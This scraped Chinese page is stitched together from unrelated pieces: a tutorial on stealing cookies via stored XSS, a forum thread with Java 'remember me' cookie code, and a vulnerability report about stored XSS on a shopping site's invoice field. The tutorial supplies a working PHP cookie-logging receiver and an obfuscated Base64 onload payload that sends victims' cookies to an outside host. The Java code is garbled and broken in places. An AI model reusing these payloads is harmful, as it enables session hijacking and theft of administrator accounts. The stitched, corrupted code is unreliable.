如何获取cookie网站管理员cookie

留下脚印,证明你来过。 由于近期工作比较忙,导致博客更新速度奇慢,希望大家不要介意,我会抽时间更新一些文章,希望大家喜欢。
本站文章部分为网络收集整理,若侵犯了您的版权请告知!
成功因为坚持,失败因为放弃!
日志总数:466 篇评论总数:1923 个标签数量:529 个链接总数:35 个建站日期:运行天数:3187最后更新:帐号密码
支持博客发展,爷来打赏你!(微信)最新文章随机文章热门文章
留言光荣榜最新评论利用存储型XSS跨站漏洞偷取用户Cookie实战 - 简书
利用存储型XSS跨站漏洞偷取用户Cookie实战
严禁读者利用以下介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !
攻击者要偷取Cookie , 就要让他们精心构造的恶意代码在受害者的计算机上运行 , 一般来说 , 是在用户访问一个网页的时候执行一段JavaScript代码 , 这段代码会获取用户在当前页面的Cookie , 然后利用Http请求将这些数据发送到接收者的地址 , 这样就完成了一个Cookie的盗取过程 , 这里 , 要解决的问题有两个 :
如何能让用户在访问网页的同时下载并执行攻击者的恶意代码
如何来接受用户发送给我们的Cookie
一般来说 , 解决方案如下 :
要在一个网站上寻找有用户交互的地方 , 最常见的就是留言版 , 如果恶意攻击者拥有了留言的能力 , 而且网站不能检测出我们的留言的合法性 , 这样就给了恶意攻击者插入恶意代码的机会 , 这样 , 如果恶意攻击者插入的留言可以被管理员看到的话 , 那么管理员的Cookie就极有可能被攻击者拿到 , 或者如果这个留言是公开的 , 任何访客都可以进行浏览 , 那么任何浏览攻击者留言的人 , 他们的Cookie都可以被攻击者恶意代码获取到 , 并发送到攻击者的后台 . 如果这些Cookie是和用户的登陆状态相关联的 , 那么拥有了这些Cookie , 在Cookie有效的时间内 , 恶意攻击者就可以通过在HTTP请求头中添加这些Cookie以达到不使用身份认证也可以获取到授权的效果 . 恶意攻击者一般是要将自己精心构造的留言发送到服务器 , 这次攻击成功与否主要就在于这个精心构造的留言会不会被安全防护措施过滤掉 .
一旦攻击者的恶意代码成功插入到 , 必须得有一个接收Cookie的地方 , 一般来说攻击者会使用一台云服务器 , 在云服务器上运行一个Web服务器 , 这个Web服务器就是攻击者Cookie发送的地址 , Web服务器在接收到客户端(浏览了具有攻击者跨站漏洞脚本的用户)发送来的Cookie(一般来说就是GET/POST参数)之后 , 对参数进行储存 , 然后攻击者就可以对这些Cookie进行分析和利用
分为三步 :
搭建用于接收Cookie的Web服务器 , 这里测试的时候使用了笔者购置的一台虚拟主机 , 保证虚拟主机的Web服务正常开启 , 任何接入互联网的用户都可以正常访问以后 , 我们这里需要编写一个接收恶意脚本传递的参数的PHP文件 , 用于接受Cookie并把Cookie保存起来 , 这里我们暂时将Cookie保存在本地的一个文件中 , 以后我们可以将脚本进行优化 , 将Cookie数据保存在数据库中&?php
/*Config_start*/
$result_file_name = "cookie.txt"; // 配置结果储存的文本文件
$ip138_token = ""; // 这里使用到了IP138的查询接口 , 需要在IP138获取账号的Token , 才可以查询到IP的地理位置
/*Config_end*/
date_default_timezone_set('Asia/Shanghai'); // 设置时区
$time=date("j F, Y, g:i a"); // 获取请求时间
$ip = getip_out(); // 获取客户端IP
$location = getLocationOfIP($ip, $ip138_token); // 获取IP所在地理位置
$cookie = $_GET['c']; // 获取客户端传递的参数c , 也就是Cookie
$referer=getenv ('HTTP_REFERER'); // 获取客户端来源地址
$to = $_SERVER['PHP_SELF']; // 获取当前页面地址
$browser = $_SERVER["HTTP_USER_AGENT"]; // 获取客户端浏览器版本(系统版本)
$fp = fopen($result_file_name, 'a');
fwrite($fp, "Time : ".$time."\n");
fwrite($fp, "IP : ".$ip."\n");
fwrite($fp, "Location : ".$location."\n");
fwrite($fp, "Cookie : ".$cookie."\n");
fwrite($fp, "From : ".$from."\n");
fwrite($fp, "To : ".$to."\n");
fwrite($fp, "Browser : ".$browser."\n");
fwrite($fp, "------------------------------\n");
fclose($fp);
/* 获取访问者IP */
function getip_out(){
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$ip = $_SERVER["HTTP_CLIENT_IP"];
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips教程 = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i & count($ips); $i++) {
if (!eregi ("^(10│172.16│192.168).", $ips[$i])) {
$ip = $ips[$i];
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
/* 根据IP获取位置 */
function getLocationOfIP($ip, $token)
$request_location_of_ip = "/query/?ip=".$ip."&datatype=jsonp&callback=find&token=".$ // IP138的查询接口
$page_content = file_get_contents($request_location_of_ip); // 获取IP138返回的Json数据
//由于这里数据较短 , 因此简单处理
$json_content = substr($page_content, 5);
$json_content = substr($json_content, 0, -1);
$json = json_decode($json_content);
$data = $json-&{'data'};
$location = $data[0].$data[1].$data[2].$data[3]; // 这里也可以将国家/省份/城市分开来写
这里我们可以进行测试 :
01-00-35.jpg
01-01-55.jpg
发现的确是可以正常运行的现在攻击者接收Cookie的服务器已经搭建完成 , 现在我们就需要来模拟攻击者进行的最重要的一步 , 也就是将攻击者自己构造的代码插入被入侵的网站这里恶意攻击选取了一个具有留言板功能的网站进行测试 :由于安全问题 , 这里就只进行截图 , 会对网站的地址进行隐藏这里经过恶意攻击者不懈的努力和测试 , 发现了该网站没有过滤&body onload=&&/body&这个标签 , 因此恶意代码就可以插入到onload这里这里恶意攻击者为了不让自己的恶意代码暴露地特别明显 , 因此对恶意代码进行了一定的加密恶意攻击者使用了Base64对恶意代码进行了编码 , 这样一般情况下 , 网站的管理员是很难这段代码是恶意代码的恶意代码的大概逻辑是 :利用JavaScript动态地向DOM中添加一个IMG标签 , 将这个标签的src属性设置为攻击者接收cookie参数的地址 , 这样浏览器在解析DOM的时候就会去访问攻击者的那个接收Cookie的地址 , 并且把自身的Cookie以参数的形式传递在JavaScript中 , 要动态添加DOM节点 , 可以利用以下语句 :
document.body.appendChild(document.createElement('img')).setAttribute('src','/cookie.php?c='+document.cookie);
然后攻击者要让这段代码执行 , 而且还要让其足够隐蔽 , 因此这里攻击者要将这段JavaScript代码进行Base64编码 , 然后再利用JavaScript的window.atob()进行Base64解码 , 最后再使用eval()函数进行执行 , 这样的话 , 攻击者最终插入的恶意代码为 :
&body ONLOAD=eval(window.atob("ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKSkuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vd3d3Lnh4eC5jb20vY29va2llLnBocD9jPScrZG9jdW1lbnQuY29va2llKTs="));&&/body&
然后因为是留言系统 , 这里再写一些留言来掩人耳目
这里添加一些留言...
&body ONLOAD=eval(window.atob("ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKSkuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vd3d3Lnh4eC5jb20vY29va2llLnBocD9jPScrZG9jdW1lbnQuY29va2llKTs="));&&/body&
01-27-58.jpg
01-29-05.jpg
01-29-47.jpg
留言成功 , 这时 , 攻击者就会查看自己添加的留言中的恶意代码是不是已经插入到了HTML页面中查看源码 :
01-49-57.jpg
已经成功插入 , 现在攻击者就会去查看自己的服务器上的保存Cookie的文件 , 只要有人查看了自己的留言的话 , 就会有被记录下来 . 然后攻击者就可以利用这些Cookie达到自己的某些不可告人的目的.
XSS跨站脚本汇总(待续) :
&Body onload=YourScript&&/body&
&Img src='' onerror=YourSrcip/t&
&object data='YourXSSSite')&&/object&
我还年轻,我渴望上路,带着最初的激情和梦想,我们上路吧!
Github : /WangYihang
GitBook : https://wangyihang.gitbooks.io/
SniperOJ :
CVE : ['CVE-', 'CVE-', 'CVE-', 'CVE-']查看:36070|回复:9
今天做一个项目就是有一个记住用户名的,选中复选框则记住用户名和密码,下次登录的时候就方便用户名的登陆:
package com.laizhi.
import java.io.IOE
import java.io.PrintW
import java.io.UnsupportedEncodingE
import javax.servlet.FilterC
import javax.servlet.ServletE
import javax.servlet.http.C
import javax.servlet.http.HttpServletR
import javax.servlet.http.HttpServletR
import javax.servlet.http.HttpS
import java.security.MessageD
import java.security.NoSuchAlgorithmE
import com.laizhi.bean.U
import com.laizhi.dao.UserDAO;
import com.laizhi.factory.DaoImplF
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
public class CookieUtil {
& && & //保存cookie时的cookieName
& && & private final static String cookieDomainName = “laizhi”;
& && & //加密cookie时的网站自定码
& && & private final static String webKey = “123456”;
& && & //设置cookie有效期是两个星期,根据需要自定义
& && & private final static long cookieMaxAge = 60 * 60 * 24 * 7 * 2;
& && & //保存Cookie到客户端-------------------------------------------------------------------------
& && & //在CheckLogonServlet.java中被调用
& && & //传递进来的user对象中封装了在登陆时填写的用户名与密码
& && & public static void saveCookie(User user, HttpServletResponse response) {
& && && && &&&//cookie的有效期
& && && && &&&long validTime = System.currentTimeMillis() + (cookieMaxAge * 5000);
& && && && &&&//MD5加密用户详细信息
& && && && &&&String cookieValueWithMd5 =getMD5(user.getUserName() + &:& + user.getPassword()
& && && && && && && && && & + &:& + validTime + &:& + webKey);
& && && && &&&//将要被保存的完整的Cookie值
& && && && &&&String cookieValue = user.getUserName() + &:& + validTime + &:& + cookieValueWithMd5;
& && && && &&&//再一次对Cookie的值进行BASE64编码
& && && && &&&String cookieValueBase64 = new String(Base64.encode(cookieValue.getBytes()));
& && && && &&&//开始保存Cookie
& && && && &&&Cookie cookie = new Cookie(cookieDomainName, cookieValueBase64);
& && && && &&&//存两年(这个值应该大于或等于validTime)
& && && && &&&cookie.setMaxAge(60 * 60 * 24 * 365 * 2);
& && && && &&&//cookie有效路径是网站根目录
& && && && &&&cookie.setPath(&/&);
& && && && &&&//向客户端写入
& && && && &&&response.addCookie(cookie);
& && & //读取Cookie,自动完成登陆操作----------------------------------------------------------------
& && & //在Filter程序中调用该方法,见AutoLogonFilter.java
& && & public static void readCookieAndLogon(HttpServletRequest request, HttpServletResponse response,
FilterChain chain) throws IOException, ServletException,UnsupportedEncodingException{
& && & //根据cookieName取cookieValue
& && & Cookie cookies[] = request.getCookies();
& && && && && && && &String cookieValue =
& && && && && && && &if(cookies!=null){
& && && && && && && && && & for(int i=0;i
& && && && && && && && && && && &&&if (cookieDomainName.equals(cookies[i].getName())) {
& && && && && && && && && && && && && && &cookieValue = cookies[i].getValue();
& && && && && && && && && && && && && && &
& && && && && && && && && && && &&&}
& && && && && && && && && & }
& && && && && && && &}
& && && && && && && &//如果cookieValue为空,返回,
& && && && && && && &if(cookieValue==null){
& && && && && && && && && &
& && && && && && && &}
& && && && &&&//如果cookieValue不为空,才执行下面的代码
& && && && &&&//先得到的CookieValue进行Base64解码
& && && && &&&String cookieValueAfterDecode = new String (Base64.decode(cookieValue),&utf-8&);
& && && && &&&//对解码后的值进行分拆,得到一个数组,如果数组长度不为3,就是非法登陆
& && && && &&&String cookieValues[] = cookieValueAfterDecode.split(&:&);
& && && && &&&if(cookieValues.length!=3){
& && && && && && && &response.setContentType(&text/charset=utf-8&);
& && && && && && && &PrintWriter out = response.getWriter();
& && && && && && && &out.println(&你正在用非正常方式进入本站...&);
& && && && && && && &out.close();
& && && && && && && &
& && && && &&&}
& && && && &&&//判断是否在有效期内,过期就删除Cookie
& && && && &&&long validTimeInCookie = new Long(cookieValues[1]);
& && && && &&&if(validTimeInCookie & System.currentTimeMillis()){
& && && && && && && &//删除Cookie
& && && && && && && &clearCookie(response);
& && && && && && && &response.setContentType(&text/charset=utf-8&);
& && && && && && && &PrintWriter out = response.getWriter();
& && && && && && && &out.println(&&);你的Cookie已经失效,请重新登陆
& && && && && && && &out.close();
& && && && && && && &
& && && && &&&}
& && && && &&&//取出cookie中的用户名,并到数据库中检查这个用户名,
& && && && &&&String username = cookieValues[0];
& && && && &&&
& && && && &&&//根据用户名到数据库中检查用户是否存在
& && && && &&&UserDAO ud = DaoImplFactory.getInstance();
& && && && &&&User user = ud.selectUserByUsername(username);
& && && && &&&//如果user返回不为空,就取出密码,使用用户名+密码+有效时间+ webSiteKey进行MD5加密
& && && && &&&if(user!=null){
& && && && && && && &String md5ValueInCookie = cookieValues[2];
& && && && && && && &String md5ValueFromUser =getMD5(user.getUserName() + &:& + user.getPassword()
& && && && && && && && && && && &&&+ &:& + validTimeInCookie + &:& + webKey);
& && && && && && && &//将结果与Cookie中的MD5码相比较,如果相同,写入Session,自动登陆成功,并继续用户请求
& && && && && && && &if(md5ValueFromUser.equals(md5ValueInCookie)){
& && && && && && && && && & HttpSession session = request.getSession(true);
& && && && && && && && && & session.setAttribute(&user&, user);
& && && && && && && && && & chain.doFilter(request, response);
& && && && && && && &}
& && && && &&&}else{
& && && && &&&//返回为空执行
& && && && && && && &response.setContentType(&text/charset=utf-8&);
& && && && && && && &PrintWriter out = response.getWriter();
& && && && && && && &out.println(&cookie验证错误!&);
& && && && && && && &out.close();
& && && && && &
& && && && & }
& && & //用户注销时,清除Cookie,在需要时可随时调用-----------------------------------------------------
& && & public static void clearCookie( HttpServletResponse response){
& && && && &&&Cookie cookie = new Cookie(cookieDomainName, null);
& && && && &&&cookie.setMaxAge(0);
& && && && &&&cookie.setPath(&/&);
& && && && &&&response.addCookie(cookie);
//获取Cookie组合字符串的MD5码的字符串----------------------------------------------------------------
& && && && &&&public static String getMD5(String value) {
& && && && && && && &String result =
& && && && && && && &try{
& && && && && && && && && & byte[] valueByte = value.getBytes();
& && && && && && && && && & MessageDigest md = MessageDigest.getInstance(&MD5&);
& && && && && && && && && & md.update(valueByte);
& && && && && && && && && & result = toHex(md.digest());
& && && && && && && &} catch (NoSuchAlgorithmException e2){
& && && && && && && && && & e1.printStackTrace();
& && && && && && && &}
& && && && && && && &
& && && && &&&}
& && &//将传递进来的字节数组转换成十六进制的字符串形式并返回
& && && && &&&private static String toHex(byte[] buffer){
& && && && && && && &StringBuffer sb = new StringBuffer(buffer.length * 2);
& && && && && && && &for (int i = 0; i & buffer. i++){
& && && && && && && && && & sb.append(Character.forDigit((buffer[i] & 0xf0) && 4, 16));
& && && && && && && && && & sb.append(Character.forDigit(buffer[i] & 0x0f, 16));
& && && && && && && &}
& && && && && && && &return sb.toString();
& && && && &&&}
学习一下了!
引用:原帖由 ChenYuan_QQ 于
17:10 发表
学习一下了! ありがとうございます支持!
太阳光芒万丈却不及蜡烛只为一人照亮、、、
学习,顶起。
引用:原帖由 黑基蚂蚁 于
23:08 发表
学习,顶起。 (*^__^*) 嘻嘻……ありがとうございます
太阳光芒万丈却不及蜡烛只为一人照亮、、、
中级工程师
你这个能不能保存记住百度的账号密码?
你这个是模拟的,还是实际的?
引用:原帖由 kaluosi0 于
10:41 发表
你这个能不能保存记住百度的账号密码?
你这个是模拟的,还是实际的? 实际的,这个可以用,如果你做一个简单的百度登录页面可以把他用上,,,嘿嘿,,,
希望对你有帮助!!!
太阳光芒万丈却不及蜡烛只为一人照亮、、、
DaoImplFactory和selectUserByUsername里面的代码是什么???
还有其他代码呢唯品会存储型xss获取管理员cookie
唯品会存储型xss获取管理员cookie
xss跨站脚本攻击
漏洞已经通知厂商但是厂商忽略漏洞
在唯品会的订单确认页面中,起填写发票的时候,仅仅对此项检测有无公司两字的出现,其他均未做过滤,这个程序猿该拖出去打10000大板
由于涉及到订单,所以一旦提交,必然会被管理员看到,然后....
漏洞证明:
选择填写发票分别写入
&script&alert(/xss/)&/script&
&script&alert(document.cookie)&/script&
然后就可以各种猥琐了,图就不多上了
修复方案:
版权声明:转载请注明来源 @
快来写下你的想法吧!
文章数:38565
(C) 安全脉搏

我要回帖

更多关于 js获取其他网站cookie 的文章

 

随机推荐